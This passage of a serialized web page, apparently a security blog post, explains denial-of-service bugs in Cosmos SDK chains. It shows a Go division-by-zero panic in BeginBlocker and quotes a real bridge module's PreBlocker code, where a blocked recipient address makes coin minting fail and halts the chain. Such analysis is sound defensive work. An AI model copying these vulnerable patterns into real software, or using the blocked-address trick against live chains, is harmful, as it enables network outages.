k",{"type":23,"tag":134,"props":80801,"children":80802},{"style":179},[80803],{"type":28,"value":720},{"type":23,"tag":134,"props":80805,"children":80806},{"style":162},[80807],{"type":28,"value":80777},{"type":23,"tag":134,"props":80809,"children":80810},{"style":179},[80811],{"type":28,"value":720},{"type":23,"tag":134,"props":80813,"children":80814},{"style":264},[80815],{"type":28,"value":80816},"TotalReward",{"type":23,"tag":134,"props":80818,"children":80819},{"style":179},[80820],{"type":28,"value":7194},{"type":23,"tag":134,"props":80822,"children":80823},{"class":136,"line":466},[80824,80829,80833,80837,80841,80846,80850,80855],{"type":23,"tag":134,"props":80825,"children":80826},{"style":162},[80827],{"type":28,"value":80828},"    k",{"type":23,"tag":134,"props":80830,"children":80831},{"style":179},[80832],{"type":28,"value":720},{"type":23,"tag":134,"props":80834,"children":80835},{"style":162},[80836],{"type":28,"value":80777},{"type":23,"tag":134,"props":80838,"children":80839},{"style":179},[80840],{"type":28,"value":720},{"type":23,"tag":134,"props":80842,"children":80843},{"style":264},[80844],{"type":28,"value":80845},"DistributeReward",{"type":23,"tag":134,"props":80847,"children":80848},{"style":179},[80849],{"type":28,"value":272},{"type":23,"tag":134,"props":80851,"children":80852},{"style":162},[80853],{"type":28,"value":80854},"RewardPerShare",{"type":23,"tag":134,"props":80856,"children":80857},{"style":179},[80858],{"type":28,"value":329},{"type":23,"tag":134,"props":80860,"children":80861},{"class":136,"line":479},[80862],{"type":23,"tag":134,"props":80863,"children":80864},{"emptyLinePlaceholder":15},[80865],{"type":28,"value":865},{"type":23,"tag":134,"props":80867,"children":80868},{"class":136,"line":497},[80869,80873,80877,80881,80885,80890,80894],{"type":23,"tag":134,"props":80870,"children":80871},{"style":189},[80872],{"type":28,"value":16461},{"type":23,"tag":134,"props":80874,"children":80875},{"style":168},[80876],{"type":28,"value":6599},{"type":23,"tag":134,"props":80878,"children":80879},{"style":162},[80880],{"type":28,"value":5214},{"type":23,"tag":134,"props":80882,"children":80883},{"style":179},[80884],{"type":28,"value":720},{"type":23,"tag":134,"props":80886,"children":80887},{"style":162},[80888],{"type":28,"value":80889},"MsgAllocateRewardResponse",{"type":23,"tag":134,"props":80891,"children":80892},{"style":179},[80893],{"type":28,"value":242},{"type":23,"tag":134,"props":80895,"children":80896},{"style":151},[80897],{"type":28,"value":76154},{"type":23,"tag":134,"props":80899,"children":80900},{"class":136,"line":518},[80901],{"type":23,"tag":134,"props":80902,"children":80903},{"style":179},[80904],{"type":28,"value":1098},{"type":23,"tag":24,"props":80906,"children":80907},{},[80908,80910,80916,80917,80923,80924,80930,80932,80937],{"type":28,"value":80909},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":23,"tag":92,"props":80911,"children":80913},{"className":80912},[],[80914],{"type":28,"value":80915},"PreBlocker",{"type":28,"value":242},{"type":23,"tag":92,"props":80918,"children":80920},{"className":80919},[],[80921],{"type":28,"value":80922},"BeginBlocker",{"type":28,"value":5945},{"type":23,"tag":92,"props":80925,"children":80927},{"className":80926},[],[80928],{"type":28,"value":80929},"EndBlocker",{"type":28,"value":80931},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":23,"tag":92,"props":80933,"children":80935},{"className":80934},[],[80936],{"type":28,"value":80922},{"type":28,"value":80938}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":23,"tag":87,"props":80940,"children":80942},{"code":80941,"language":75676,"meta":7,"className":75677,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[80943],{"type":23,"tag":92,"props":80944,"children":80945},{"__ignoreMap":7},[80946,81011,81018,81066,81094,81101,81113],{"type":23,"tag":134,"props":80947,"children":80948},{"class":136,"line":137},[80949,80953,80958,80962,80966,80970,80974,80978,80982,80986,80991,80995,80999,81003,81007],{"type":23,"tag":134,"props":80950,"children":80951},{"style":151},[80952],{"type":28,"value":75812},{"type":23,"tag":134,"props":80954,"children":80955},{"style":264},[80956],{"type":28,"value":80957}," BeginBlocker",{"type":23,"tag":134,"props":80959,"children":80960},{"style":179},[80961],{"type":28,"value":272},{"type":23,"tag":134,"props":80963,"children":80964},{"style":162},[80965],{"type":28,"value":19758},{"type":23,"tag":134,"props":80967,"children":80968},{"style":597},[80969],{"type":28,"value":75852},{"type":23,"tag":134,"props":80971,"children":80972},{"style":179},[80973],{"type":28,"value":720},{"type":23,"tag":134,"props":80975,"children":80976},{"style":597},[80977],{"type":28,"value":75861},{"type":23,"tag":134,"props":80979,"children":80980},{"style":179},[80981],{"type":28,"value":242},{"type":23,"tag":134,"props":80983,"children":80984},{"style":162},[80985],{"type":28,"value":80777},{"type":23,"tag":134,"props":80987,"children":80988},{"style":597},[80989],{"type":28,"value":80990}," keeper",{"type":23,"tag":134,"props":80992,"children":80993},{"style":179},[80994],{"type":28,"value":720},{"type":23,"tag":134,"props":80996,"children":80997},{"style":597},[80998],{"type":28,"value":79457},{"type":23,"tag":134,"props":81000,"children":81001},{"style":179},[81002],{"type":28,"value":252},{"type":23,"tag":134,"props":81004,"children":81005},{"style":597},[81006],{"type":28,"value":14332},{"type":23,"tag":134,"props":81008,"children":81009},{"style":179},[81010],{"type":28,"value":463},{"type":23,"tag":134,"props":81012,"children":81013},{"class":136,"line":147},[81014],{"type":23,"tag":134,"props":81015,"children":81016},{"emptyLinePlaceholder":15},[81017],{"type":28,"value":865},{"type":23,"tag":134,"props":81019,"children":81020},{"class":136,"line":185},[81021,81025,81029,81033,81037,81041,81045,81049,81054,81058,81062],{"type":23,"tag":134,"props":81022,"children":81023},{"style":162},[81024],{"type":28,"value":80759},{"type":23,"tag":134,"props":81026,"children":81027},{"style":168},[81028],{"type":28,"value":75928},{"type":23,"tag":134,"props":81030,"children":81031},{"style":162},[81032],{"type":28,"value":80990},{"type":23,"tag":134,"props":81034,"children":81035},{"style":179},[81036],{"type":28,"value":720},{"type":23,"tag":134,"props":81038,"children":81039},{"style":264},[81040],{"type":28,"value":80786},{"type":23,"tag":134,"props":81042,"children":81043},{"style":179},[81044],{"type":28,"value":13511},{"type":23,"tag":134,"props":81046,"children":81047},{"style":168},[81048],{"type":28,"value":1787},{"type":23,"tag":134,"props":81050,"children":81051},{"style":162},[81052],{"type":28,"value":81053},"  keeper",{"type":23,"tag":134,"props":81055,"children":81056},{"style":179},[81057],{"type":28,"value":720},{"type":23,"tag":134,"props":81059,"children":81060},{"style":264},[81061],{"type":28,"value":80816},{"type":23,"tag":134,"props":81063,"children":81064},{"style":179},[81065],{"type":28,"value":7194},{"type":23,"tag":134,"props":81067,"children":81068},{"class":136,"line":221},[81069,81074,81078,81082,81086,81090],{"type":23,"tag":134,"props":81070,"children":81071},{"style":162},[81072],{"type":28,"value":81073},"    keeper",{"type":23,"tag":134,"props":81075,"children":81076},{"style":179},[81077],{"type":28,"value":720},{"type":23,"tag":134,"props":81079,"children":81080},{"style":264},[81081],{"type":28,"value":80845},{"type":23,"tag":134,"props":81083,"children":81084},{"style":179},[81085],{"type":28,"value":272},{"type":23,"tag":134,"props":81087,"children":81088},{"style":162},[81089],{"type":28,"value":80854},{"type":23,"tag":134,"props":81091,"children":81092},{"style":179},[81093],{"type":28,"value":329},{"type":23,"tag":134,"props":81095,"children":81096},{"class":136,"line":332},[81097],{"type":23,"tag":134,"props":81098,"children":81099},{"emptyLinePlaceholder":15},[81100],{"type":28,"value":865},{"type":23,"tag":134,"props":81102,"children":81103},{"class":136,"line":438},[81104,81108],{"type":23,"tag":134,"props":81105,"children":81106},{"style":189},[81107],{"type":28,"value":52372},{"type":23,"tag":134,"props":81109,"children":81110},{"style":151},[81111],{"type":28,"value":81112}," nil\n",{"type":23,"tag":134,"props":81114,"children":81115},{"class":136,"line":466},[81116],{"type":23,"tag":134,"props":81117,"children":81118},{"style":179},[81119],{"type":28,"value":1098},{"type":23,"tag":9072,"props":81121,"children":81123},{"id":81122},"real-world-examples-3",[81124],{"type":28,"value":76201},{"type":23,"tag":24,"props":81126,"children":81127},{},[81128],{"type":28,"value":81129},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":23,"tag":24,"props":81131,"children":81132},{},[81133,81135,81141,81143,81148,81150,81156,81158,81164,81166,81172],{"type":28,"value":81134},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":23,"tag":92,"props":81136,"children":81138},{"className":81137},[],[81139],{"type":28,"value":81140},"bankKeeper.SendCoinsFromModuleToAccount",{"type":28,"value":81142}," will be bubbled up through ",{"type":23,"tag":92,"props":81144,"children":81146},{"className":81145},[],[81147],{"type":28,"value":80915},{"type":28,"value":81149}," and halt the chain. It turns out an attacker can force ",{"type":23,"tag":92,"props":81151,"children":81153},{"className":81152},[],[81154],{"type":28,"value":81155},"SendCoinsFromModuleToAccount",{"type":28,"value":81157}," to return an error by setting ",{"type":23,"tag":92,"props":81159,"children":81161},{"className":81160},[],[81162],{"type":28,"value":81163},"recipient",{"type":28,"value":81165}," to some ",{"type":23,"tag":92,"props":81167,"children":81169},{"className":81168},[],[81170],{"type":28,"value":81171},"BlockedAddr",{"type":28,"value":81173},",rendering the code susceptible to DoS attacks.",{"type":23,"tag":24,"props":81175,"children":81176},{},[81177],{"type":23,"tag":31,"props":81178,"children":81181},{"href":81179,"rel":81180},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[35],[81182],{"type":28,"value":76251},{"type":23,"tag":87,"props":81184,"children":81186},{"code":81185,"language":75676,"meta":7,"className":75677,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[81187],{"type":23,"tag":92,"props":81188,"children":81189},{"__ignoreMap":7},[81190,81243,81258,81281,81311,81347,81355,81411,81435,81485,81492,81499,81506,81513,81520,81551,81574,81599,81614,81621,81658,81712,81735,81776,81783,81790,81841,81902,81925,81948,81960,81981,81993,82001,82008,82023,82031,82038,82045,82052,82059,82066,82097,82120,82145,82170,82185,82192,82229,82240,82261,82272,82284,82291,82314,82354,82361,82368],{"type":23,"tag":134,"props":81191,"children":81192},{"class":136,"line":137},[81193,81197,81201,81206,81210,81215,81219,81223,81227,81231,81235,81239],{"type":23,"tag":134,"props":81194,"children":81195},{"style":151},[81196],{"type":28,"value":75812},{"type":23,"tag":134,"props":81198,"children":81199},{"style":179},[81200],{"type":28,"value":232},{"type":23,"tag":134,"props":81202,"children":81203},{"style":162},[81204],{"type":28,"value":81205},"pbh ",{"type":23,"tag":134,"props":81207,"children":81208},{"style":168},[81209],{"type":28,"value":1777},{"type":23,"tag":134,"props":81211,"children":81212},{"style":597},[81213],{"type":28,"value":81214},"PreBlockHandler",{"type":23,"tag":134,"props":81216,"children":81217},{"style":179},[81218],{"type":28,"value":252},{"type":23,"tag":134,"props":81220,"children":81221},{"style":264},[81222],{"type":28,"value":80915},{"type":23,"tag":134,"props":81224,"children":81225},{"style":179},[81226],{"type":28,"value":13511},{"type":23,"tag":134,"props":81228,"children":81229},{"style":597},[81230],{"type":28,"value":78242},{"type":23,"tag":134,"props":81232,"children":81233},{"style":179},[81234],{"type":28,"value":720},{"type":23,"tag":134,"props":81236,"children":81237},{"style":597},[81238],{"type":28,"value":80915},{"type":23,"tag":134,"props":81240,"children":81241},{"style":179},[81242],{"type":28,"value":463},{"type":23,"tag":134,"props":81244,"children":81245},{"class":136,"line":147},[81246,81250,81254],{"type":23,"tag":134,"props":81247,"children":81248},{"style":189},[81249],{"type":28,"value":16461},{"type":23,"tag":134,"props":81251,"children":81252},{"style":151},[81253],{"type":28,"value":79521},{"type":23,"tag":134,"props":81255,"children":81256},{"style":179},[81257],{"type":28,"value":642},{"type":23,"tag":134,"props":81259,"children":81260},{"class":136,"line":185},[81261,81265,81269,81273,81277],{"type":23,"tag":134,"props":81262,"children":81263},{"style":162},[81264],{"type":28,"value":25677},{"type":23,"tag":134,"props":81266,"children":81267},{"style":597},[81268],{"type":28,"value":78153},{"type":23,"tag":134,"props":81270,"children":81271},{"style":179},[81272],{"type":28,"value":720},{"type":23,"tag":134,"props":81274,"children":81275},{"style":597},[81276],{"type":28,"value":75861},{"type":23,"tag":134,"props":81278,"children":81279},{"style":179},[81280],{"type":28,"value":687},{"type":23,"tag":134,"props":81282,"children":81283},{"class":136,"line":221},[81284,81289,81293,81298,81302,81307],{"type":23,"tag":134,"props":81285,"children":81286},{"style":162},[81287],{"type":28,"value":81288},"        req",{"type":23,"tag":134,"props":81290,"children":81291},{"style":168},[81292],{"type":28,"value":9281},{"type":23,"tag":134,"props":81294,"children":81295},{"style":597},[81296],{"type":28,"value":81297},"cmtabci",{"type":23,"tag":134,"props":81299,"children":81300},{"style":179},[81301],{"type":28,"value":720},{"type":23,"tag":134,"props":81303,"children":81304},{"style":597},[81305],{"type":28,"value":81306},"RequestFinalizeBlock",{"type":23,"tag":134,"props":81308,"children":81309},{"style":179},[81310],{"type":28,"value":687},{"type":23,"tag":134,"props":81312,"children":81313},{"class":136,"line":332},[81314,81318,81322,81326,81330,81335,81339,81343],{"type":23,"tag":134,"props":81315,"children":81316},{"style":179},[81317],{"type":28,"value":79589},{"type":23,"tag":134,"props":81319,"children":81320},{"style":168},[81321],{"type":28,"value":1777},{"type":23,"tag":134,"props":81323,"children":81324},{"style":597},[81325],{"type":28,"value":78242},{"type":23,"tag":134,"props":81327,"children":81328},{"style":179},[81329],{"type":28,"value":720},{"type":23,"tag":134,"props":81331,"children":81332},{"style":597},[81333],{"type":28,"value":81334},"ResponsePreBlock",{"type":23,"tag":134,"props":81336,"children":81337},{"style":179},[81338],{"type":28,"value":242},{"type":23,"tag":134,"props":81340,"children":81341},{"style":597},[81342],{"type":28,"value":14332},{"type":23,"tag":134,"props":81344,"children":81345},{"style":179},[81346],{"type":28,"value":14272},{"type":23,"tag":134,"props":81348,"children":81349},{"class":136,"line":438},[81350],{"type":23,"tag":134,"props":81351,"children":81352},{"style":168},[81353],{"type":28,"value":81354},"        ...\n",{"type":23,"tag":134,"props":81356,"children":81357},{"class":136,"line":466},[81358,81363,81367,81372,81376,81381,81385,81390,81394,81398,81402,81407],{"type":23,"tag":134,"props":81359,"children":81360},{"style":162},[81361],{"type":28,"value":81362},"        err",{"type":23,"tag":134,"props":81364,"children":81365},{"style":168},[81366],{"type":28,"value":75928},{"type":23,"tag":134,"props":81368,"children":81369},{"style":162},[81370],{"type":28,"value":81371}," pbh",{"type":23,"tag":134,"props":81373,"children":81374},{"style":179},[81375],{"type":28,"value":720},{"type":23,"tag":134,"props":81377,"children":81378},{"style":162},[81379],{"type":28,"value":81380},"bridgeKeeper",{"type":23,"tag":134,"props":81382,"children":81383},{"style":179},[81384],{"type":28,"value":720},{"type":23,"tag":134,"props":81386,"children":81387},{"style":264},[81388],{"type":28,"value":81389},"AcceptAssetsLocked",{"type":23,"tag":134,"props":81391,"children":81392},{"style":179},[81393],{"type":28,"value":272},{"type":23,"tag":134,"props":81395,"children":81396},{"style":162},[81397],{"type":28,"value":19758},{"type":23,"tag":134,"props":81399,"children":81400},{"style":179},[81401],{"type":28,"value":242},{"type":23,"tag":134,"props":81403,"children":81404},{"style":162},[81405],{"type":28,"value":81406},"events",{"type":23,"tag":134,"props":81408,"children":81409},{"style":179},[81410],{"type":28,"value":329},{"type":23,"tag":134,"props":81412,"children":81413},{"class":136,"line":479},[81414,81418,81422,81426,81431],{"type":23,"tag":134,"props":81415,"children":81416},{"style":189},[81417],{"type":28,"value":444},{"type":23,"tag":134,"props":81419,"children":81420},{"style":162},[81421],{"type":28,"value":48026},{"type":23,"tag":134,"props":81423,"children":81424},{"style":168},[81425],{"type":28,"value":63895},{"type":23,"tag":134,"props":81427,"children":81428},{"style":151},[81429],{"type":28,"value":81430}," nil",{"type":23,"tag":134,"props":81432,"children":81433},{"style":179},[81434],{"type":28,"value":463},{"type":23,"tag":134,"props":81436,"children":81437},{"class":136,"line":497},[81438,81442,81446,81450,81455,81459,81464,81468,81473,81477,81481],{"type":23,"tag":134,"props":81439,"children":81440},{"style":189},[81441],{"type":28,"value":78588},{"type":23,"tag":134,"props":81443,"children":81444},{"style":151},[81445],{"type":28,"value":81430},{"type":23,"tag":134,"props":81447,"children":81448},{"style":179},[81449],{"type":28,"value":242},{"type":23,"tag":134,"props":81451,"children":81452},{"style":162},[81453],{"type":28,"value":81454},"fmt",{"type":23,"tag":134,"props":81456,"children":81457},{"style":179},[81458],{"type":28,"value":720},{"type":23,"tag":134,"props":81460,"children":81461},{"style":264},[81462],{"type":28,"value":81463},"Errorf",{"type":23,"tag":134,"props":81465,"children":81466},{"style":179},[81467],{"type":28,"value":272},{"type":23,"tag":134,"props":81469,"children":81470},{"style":1461},[81471],{"type":28,"value":81472},"\"cannot accept AssetsLocked events: %w\"",{"type":23,"tag":134,"props":81474,"children":81475},{"style":179},[81476],{"type":28,"value":242},{"type":23,"tag":134,"props":81478,"children":81479},{"style":162},[81480],{"type":28,"value":47925},{"type":23,"tag":134,"props":81482,"children":81483},{"style":179},[81484],{"type":28,"value":329},{"type":23,"tag":134,"props":81486,"children":81487},{"class":136,"line":518},[81488],{"type":23,"tag":134,"props":81489,"children":81490},{"style":179},[81491],{"type":28,"value":524},{"type":23,"tag":134,"props":81493,"children":81494},{"class":136,"line":527},[81495],{"type":23,"tag":134,"props":81496,"children":81497},{"style":168},[81498],{"type":28,"value":81354},{"type":23,"tag":134,"props":81500,"children":81501},{"class":136,"line":780},[81502],{"type":23,"tag":134,"props":81503,"children":81504},{"style":179},[81505],{"type":28,"value":533},{"type":23,"tag":134,"props":81507,"children":81508},{"class":136,"line":797},[81509],{"type":23,"tag":134,"props":81510,"children":81511},{"style":179},[81512],{"type":28,"value":1098},{"type":23,"tag":134,"props":81514,"children":81515},{"class":136,"line":814},[81516],{"type":23,"tag":134,"props":81517,"children":81518},{"emptyLinePlaceholder":15},[81519],{"type":28,"value":865},{"type":23,"tag":134,"props":81521,"children":81522},{"class":136,"line":827},[81523,81527,81531,81535,81539,81543,81547],{"type":23,"tag":134,"props":81524,"children":81525},{"style":151},[81526],{"type":28,"value":75812},{"type":23,"tag":134,"props":81528,"children":81529},{"style":179},[81530],{"type":28,"value":232},{"type":23,"tag":134,"props":81532,"children":81533},{"style":162},[81534],{"type":28,"value":80640},{"type":23,"tag":134,"props":81536,"children":81537},{"style":597},[81538],{"type":28,"value":79457},{"type":23,"tag":134,"props":81540,"children":81541},{"style":179},[81542],{"type":28,"value":252},{"type":23,"tag":134,"props":81544,"children":81545},{"style":264},[81546],{"type":28,"value":81389},{"type":23,"tag":134,"props":81548,"children":81549},{"style":179},[81550],{"type":28,"value":642},{"type":23,"tag":134,"props":81552,"children":81553},{"class":136,"line":836},[81554,81558,81562,81566,81570],{"type":23,"tag":134,"props":81555,"children":81556},{"style":162},[81557],{"type":28,"value":19701},{"type":23,"tag":134,"props":81559,"children":81560},{"style":597},[81561],{"type":28,"value":78153},{"type":23,"tag":134,"props":81563,"children":81564},{"style":179},[81565],{"type":28,"value":720},{"type":23,"tag":134,"props":81567,"children":81568},{"style":597},[81569],{"type":28,"value":75861},{"type":23,"tag":134,"props":81571,"children":81572},{"style":179},[81573],{"type":28,"value":687},{"type":23,"tag":134,"props":81575,"children":81576},{"class":136,"line":859},[81577,81582,81586,81590,81595],{"type":23,"tag":134,"props":81578,"children":81579},{"style":162},[81580],{"type":28,"value":81581},"    events",{"type":23,"tag":134,"props":81583,"children":81584},{"style":597},[81585],{"type":28,"value":77687},{"type":23,"tag":134,"props":81587,"children":81588},{"style":179},[81589],{"type":28,"value":720},{"type":23,"tag":134,"props":81591,"children":81592},{"style":597},[81593],{"type":28,"value":81594},"AssetsLockedEvents",{"type":23,"tag":134,"props":81596,"children":81597},{"style":179},[81598],{"type":28,"value":687},{"type":23,"tag":134,"props":81600,"children":81601},{"class":136,"line":868},[81602,81606,81610],{"type":23,"tag":134,"props":81603,"children":81604},{"style":179},[81605],{"type":28,"value":252},{"type":23,"tag":134,"props":81607,"children":81608},{"style":597},[81609],{"type":28,"value":14332},{"type":23,"tag":134,"props":81611,"children":81612},{"style":179},[81613],{"type":28,"value":463},{"type":23,"tag":134,"props":81615,"children":81616},{"class":136,"line":877},[81617],{"type":23,"tag":134,"props":81618,"children":81619},{"style":168},[81620],{"type":28,"value":19817},{"type":23,"tag":134,"props":81622,"children":81623},{"class":136,"line":946},[81624,81628,81632,81636,81641,81645,81649,81654],{"type":23,"tag":134,"props":81625,"children":81626},{"style":189},[81627],{"type":28,"value":192},{"type":23,"tag":134,"props":81629,"children":81630},{"style":162},[81631],{"type":28,"value":197},{"type":23,"tag":134,"props":81633,"children":81634},{"style":179},[81635],{"type":28,"value":242},{"type":23,"tag":134,"props":81637,"children":81638},{"style":162},[81639],{"type":28,"value":81640},"event",{"type":23,"tag":134,"props":81642,"children":81643},{"style":168},[81644],{"type":28,"value":75928},{"type":23,"tag":134,"props":81646,"children":81647},{"style":189},[81648],{"type":28,"value":76911},{"type":23,"tag":134,"props":81650,"children":81651},{"style":162},[81652],{"type":28,"value":81653}," events",{"type":23,"tag":134,"props":81655,"children":81656},{"style":179},[81657],{"type":28,"value":463},{"type":23,"tag":134,"props":81659,"children":81660},{"class":136,"line":954},[81661,81666,81670,81674,81678,81682,81686,81691,81695,81699,81703,81708],{"type":23,"tag":134,"props":81662,"children":81663},{"style":162},[81664],{"type":28,"value":81665},"        recipient",{"type":23,"tag":134,"props":81667,"children":81668},{"style":179},[81669],{"type":28,"value":242},{"type":23,"tag":134,"props":81671,"children":81672},{"style":162},[81673],{"type":28,"value":47925},{"type":23,"tag":134,"props":81675,"children":81676},{"style":168},[81677],{"type":28,"value":75928},{"type":23,"tag":134,"props":81679,"children":81680},{"style":162},[81681],{"type":28,"value":78153},{"type":23,"tag":134,"props":81683,"children":81684},{"style":179},[81685],{"type":28,"value":720},{"type":23,"tag":134,"props":81687,"children":81688},{"style":264},[81689],{"type":28,"value":81690},"AccAddressFromBech32",{"type":23,"tag":134,"props":81692,"children":81693},{"style":179},[81694],{"type":28,"value":272},{"type":23,"tag":134,"props":81696,"children":81697},{"style":162},[81698],{"type":28,"value":81640},{"type":23,"tag":134,"props":81700,"children":81701},{"style":179},[81702],{"type":28,"value":720},{"type":23,"tag":134,"props":81704,"children":81705},{"style":162},[81706],{"type":28,"value":81707},"Recipient",{"type":23,"tag":134,"props":81709,"children":81710},{"style":179},[81711],{"type":28,"value":329},{"type":23,"tag":134,"props":81713,"children":81714},{"class":136,"line":984},[81715,81719,81723,81727,81731],{"type":23,"tag":134,"props":81716,"children":81717},{"style":189},[81718],{"type":28,"value":444},{"type":23,"tag":134,"props":81720,"children":81721},{"style":162},[81722],{"type":28,"value":48026},{"type":23,"tag":134,"props":81724,"children":81725},{"style":168},[81726],{"type":28,"value":63895},{"type":23,"tag":134,"props":81728,"children":81729},{"style":151},[81730],{"type":28,"value":81430},{"type":23,"tag":134,"props":81732,"children":81733},{"style":179},[81734],{"type":28,"value":463},{"type":23,"tag":134,"props":81736,"children":81737},{"class":136,"line":992},[81738,81742,81747,81751,81755,81759,81764,81768,81772],{"type":23,"tag":134,"props":81739,"children":81740},{"style":189},[81741],{"type":28,"value":78588},{"type":23,"tag":134,"props":81743,"children":81744},{"style":162},[81745],{"type":28,"value":81746}," fmt",{"type":23,"tag":134,"props":81748,"children":81749},{"style":179},[81750],{"type":28,"value":720},{"type":23,"tag":134,"props":81752,"children":81753},{"style":264},[81754],{"type":28,"value":81463},{"type":23,"tag":134,"props":81756,"children":81757},{"style":179},[81758],{"type":28,"value":272},{"type":23,"tag":134,"props":81760,"children":81761},{"style":1461},[81762],{"type":28,"value":81763},"\"failed to parse recipient address: %w\"",{"type":23,"tag":134,"props":81765,"children":81766},{"style":179},[81767],{"type":28,"value":242},{"type":23,"tag":134,"props":81769,"children":81770},{"style":162},[81771],{"type":28,"value":47925},{"type":23,"tag":134,"props":81773,"children":81774},{"style":179},[81775],{"type":28,"value":329},{"type":23,"tag":134,"props":81777,"children":81778},{"class":136,"line":1024},[81779],{"type":23,"tag":134,"props":81780,"children":81781},{"style":179},[81782],{"type":28,"value":524},{"type":23,"tag":134,"props":81784,"children":81785},{"class":136,"line":1032},[81786],{"type":23,"tag":134,"props":81787,"children":81788},{"emptyLinePlaceholder":15},[81789],{"type":28,"value":865},{"type":23,"tag":134,"props":81791,"children":81792},{"class":136,"line":1092},[81793,81797,81802,81806,81811,81815,81819,81823,81828,81832,81837],{"type":23,"tag":134,"props":81794,"children":81795},{"style":189},[81796],{"type":28,"value":444},{"type":23,"tag":134,"props":81798,"children":81799},{"style":162},[81800],{"type":28,"value":81801}," bytes",{"type":23,"tag":134,"props":81803,"children":81804},{"style":179},[81805],{"type":28,"value":720},{"type":23,"tag":134,"props":81807,"children":81808},{"style":264},[81809],{"type":28,"value":81810},"Equal",{"type":23,"tag":134,"props":81812,"children":81813},{"style":179},[81814],{"type":28,"value":272},{"type":23,"tag":134,"props":81816,"children":81817},{"style":162},[81818],{"type":28,"value":81640},{"type":23,"tag":134,"props":81820,"children":81821},{"style":179},[81822],{"type":28,"value":720},{"type":23,"tag":134,"props":81824,"children":81825},{"style":264},[81826],{"type":28,"value":81827},"TokenBytes",{"type":23,"tag":134,"props":81829,"children":81830},{"style":179},[81831],{"type":28,"value":17849},{"type":23,"tag":134,"props":81833,"children":81834},{"style":162},[81835],{"type":28,"value":81836},"sourceBTCToken",{"type":23,"tag":134,"props":81838,"children":81839},{"style":179},[81840],{"type":28,"value":14272},{"type":23,"tag":134,"props":81842,"children":81843},{"class":136,"line":8508},[81844,81849,81853,81857,81861,81866,81870,81874,81878,81882,81886,81890,81894,81898],{"type":23,"tag":134,"props":81845,"children":81846},{"style":162},[81847],{"type":28,"value":81848},"            err",{"type":23,"tag":134,"props":81850,"children":81851},{"style":168},[81852],{"type":28,"value":171},{"type":23,"tag":134,"props":81854,"children":81855},{"style":162},[81856],{"type":28,"value":80768},{"type":23,"tag":134,"props":81858,"children":81859},{"style":179},[81860],{"type":28,"value":720},{"type":23,"tag":134,"props":81862,"children":81863},{"style":264},[81864],{"type":28,"value":81865},"mintBTC",{"type":23,"tag":134,"props":81867,"children":81868},{"style":179},[81869],{"type":28,"value":272},{"type":23,"tag":134,"props":81871,"children":81872},{"style":162},[81873],{"type":28,"value":19758},{"type":23,"tag":134,"props":81875,"children":81876},{"style":179},[81877],{"type":28,"value":242},{"type":23,"tag":134,"props":81879,"children":81880},{"style":162},[81881],{"type":28,"value":81163},{"type":23,"tag":134,"props":81883,"children":81884},{"style":179},[81885],{"type":28,"value":242},{"type":23,"tag":134,"props":81887,"children":81888},{"style":162},[81889],{"type":28,"value":81640},{"type":23,"tag":134,"props":81891,"children":81892},{"style":179},[81893],{"type":28,"value":720},{"type":23,"tag":134,"props":81895,"children":81896},{"style":162},[81897],{"type":28,"value":78567},{"type":23,"tag":134,"props":81899,"children":81900},{"style":179},[81901],{"type":28,"value":329},{"type":23,"tag":134,"props":81903,"children":81904},{"class":136,"line":8526},[81905,81909,81913,81917,81921],{"type":23,"tag":134,"props":81906,"children":81907},{"style":189},[81908],{"type":28,"value":58308},{"type":23,"tag":134,"props":81910,"children":81911},{"style":162},[81912],{"type":28,"value":48026},{"type":23,"tag":134,"props":81914,"children":81915},{"style":168},[81916],{"type":28,"value":63895},{"type":23,"tag":134,"props":81918,"children":81919},{"style":151},[81920],{"type":28,"value":81430},{"type":23,"tag":134,"props":81922,"children":81923},{"style":179},[81924],{"type":28,"value":463},{"type":23,"tag":134,"props":81926,"children":81927},{"class":136,"line":8571},[81928,81932,81936,81940,81944],{"type":23,"tag":134,"props":81929,"children":81930},{"style":189},[81931],{"type":28,"value":60236},{"type":23,"tag":134,"props":81933,"children":81934},{"style":162},[81935],{"type":28,"value":81746},{"type":23,"tag":134,"props":81937,"children":81938},{"style":179},[81939],{"type":28,"value":720},{"type":23,"tag":134,"props":81941,"children":81942},{"style":264},[81943],{"type":28,"value":81463},{"type":23,"tag":134,"props":81945,"children":81946},{"style":179},[81947],{"type":28,"value":642},{"type":23,"tag":134,"props":81949,"children":81950},{"class":136,"line":8677},[81951,81956],{"type":23,"tag":134,"props":81952,"children":81953}